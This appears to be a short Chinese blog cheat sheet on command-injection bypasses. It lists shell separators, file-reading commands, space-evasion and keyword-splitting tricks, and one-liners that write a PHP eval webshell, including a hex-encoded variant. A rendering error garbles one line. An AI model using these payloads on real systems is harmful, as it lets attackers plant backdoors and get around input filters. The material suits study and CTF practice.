首先:Command Injection 是web程序对用户提交数据检测不严格造成的命令攻击。与sql注入攻击一样都会造成很大的危害。–走向一个安全小白的总结之路
一些绕过总结
-
命令连接符
- “;”:执行完前面的语句再执行后面的语句。
- “|”:显示后面语句的执行结果。
- “||”:当前面的语句执行出错时,执行后面的语句。
- “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
- “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
- %0a“这个为url编码的换行符,不能在linux下直接使用需要通过php环境下”(在过滤掉前面几种后可以考虑);
-
查看文件内容的命令
- “cat" 由第一行开始显示,并将所有内容输出。
- “tac”与cat相反,从最后一行开始逐行输出。
- “more” 就是我们管道中常用的分页显示。
- “head”可以显示文本内容的前几行
- “tail”显示末尾几行
- “nl”与cat -n 命令一样,输出内容并显示行号 ;
-
通过命令行编写webshell
- “linux":echo “<?php eval(@\$_POST['pass']);?>” > webshell.php;
- echo 3c3f7068706576616c2840245f504f53545b2270617373225d293b3f3e|xxd -r -ps > webshell.php//与上一种异曲同工,知识转成了16进制 |xxd是将16进制转回去
- windos下:“echo ^<?php eval($_POST[pass]); ?^> > webshell.php”
-
不适用空格的姿势
- “{ls,-a}"
- “<”:ls<-a
- IFS在linux下表示分隔符,但是如果单纯的cat可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
- 使用环境变量:shell=KaTeX parse error: Undefined control sequence: \x at position 2: '\̲x̲20123';\x20是空格。…(find flag*).
5.**当过滤大部分操时候**
1. 可以使用$@,例如:ca$@t flag